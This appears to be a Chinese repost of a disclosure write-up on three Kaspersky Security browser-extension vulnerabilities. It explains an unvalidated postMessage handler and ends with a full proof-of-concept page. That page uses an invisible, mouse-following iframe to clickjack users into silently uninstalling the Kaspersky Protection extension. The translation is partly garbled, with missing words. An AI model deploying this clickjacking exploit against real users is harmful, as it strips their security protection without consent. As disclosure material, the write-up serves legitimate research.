2024-02-28 13:02:49 | 来源: 互联网整理
调查结果摘要
第一个漏洞影响卡巴斯基保护浏览器扩展的谷歌浏览器浏览器(不是其对应物),该扩展由卡巴斯基安全软件自动安装。任意网站都可以诱骗它卸载浏览器扩展程序(CVE-2019-15684)。特别是,他们可以卸载卡巴斯基保护本身,这将以静默方式发生。卸载其他浏览器扩展程序将使 显示额外的确认提示,因此需要社交工程才能使用户接受它。虽然这个提示大大降低了问题的严重性,但卡巴斯基解决它的方式也非常显着。最初尝试解决此问题需要八个月的时间,但在进行微不足道的更改后,可以再次重现该问题。
第二个漏洞与Heise 今年早些时候展示的漏洞非常相似。虽然卡巴斯基以相当彻底的方式处理了他们的报告,并且他们的应用程序暴露在网络上的大多数值都不适合跟踪,但有一个值被忽视了。我可以演示任意网站如何检索卡巴斯基安全软件特定安装所特有的用户标识符(CVE-2019-15687)。此标识符在所有浏览器之间共享,不受保护机制(如“无痕浏览”)的影响。
最后,最后一个问题会影响卡巴斯基安全软件生成的特殊网页使用的链接,例如无效证书或网络钓鱼警告页面。这些链接将触发应用程序中的操作,例如为无效证书添加例外、覆盖网络钓鱼警告或禁用银行网站上的安全支付保护。我可以找到一种方法,让网站检索一个此类链接的值,并从中预测分配给未来链接的值(CVE-2019-15688)。这允许网站以编程方式从特殊页面触发操作,而不必通过点击劫持或社交工程诱骗用户点击它们。
问题
卡巴斯基安全软件将在您的所有浏览器中安装其扩展程序,这应该使您的浏览更安全。这些扩展具有相当多的功能。一个特别的功能引起了我的注意:卸载其他浏览器扩展程序的能力,由于某种原因,它只存在于 的扩展程序中,而不存在于其对应项中。据推测,这是用于删除已知的恶意扩展。
function handleDeletePlugin(request, sender, sendResponse) {
chrome.management.uninstall(request.id, function () {
if (chrome.runtime.lastError)
trySendResponse(sendResponse, { result: -1, errorText: chrome.runtime.lastError.message });
else
trySendResponse(sendResponse, { result: 1 });
});
}
每当单击具有 ID 的元素时,此代码都会由页面触发。这通常是我停止调查这个问题的地方,扩展页面是网站无法访问的。但此特定页面列在扩展清单中的rces下。这意味着允许任何网站在框架中加载此页面。
不仅如此,此页面(与此扩展中旨在显示在注入的帧中的任何页面一样)通过而不是使用特定于扩展的消息传递机制接收其数据。MDN对这里的安全问题有话要说:
如果您确实希望从其他站点接收邮件,请始终使用源属性和可能的源属性来验证发件人的身份。任何窗口(例如,包括 )都可以将消息发送到任何其他窗口,并且您不能保证未知发件人不会发送恶意消息。
您可以猜到,此处不执行对发件人身份的验证。因此,任何网站都可以告诉该页面它应该删除哪个扩展名以及它应该显示哪些文本。哦,CSS样式也是由嵌入页面通过URL参数确定的。但是,为了以防万一用户不会自愿单击该按钮,则可以使用点击劫持并诱骗他们这样做。
漏洞利用
以下是完整的概念验证页面,如果用户单击页面上的任意位置,则会以静默方式删除卡巴斯基保护扩展程序。
<script>
window.onload = function(event)
{
let frame = document.getElementById("frame");
frame.contentWindow.postMessage(JSON.stringify({
command: "init",
data: JSON.stringify({
id: "amkpcclbbgegoafihnpgomddadjhcadd"
})
}), "*");
window.addEventListener("mousemove", event =>
{
frame.style.left = (event.clientX - frame.offsetWidth / 2) + "px";
frame.style.top = (event.clientY - frame.offsetHeight / 2) + "px";
});
};
</script>
<body style="overflow: hidden;">
<iframe id="frame"
style="opacity: 0.0001; width: 100px; height: 100px; position: absolute" frameborder="0"
src="chrome-extension://amkpcclbbgegoafihnpgomddadjhcadd/background/ext_remover.html?cssSrc=data:text/css,%2523dbutton{position:fixed;left:0;top:0;width:100%2525;bottom:0}">
</iframe>
Click anywhere on this page to get surprised!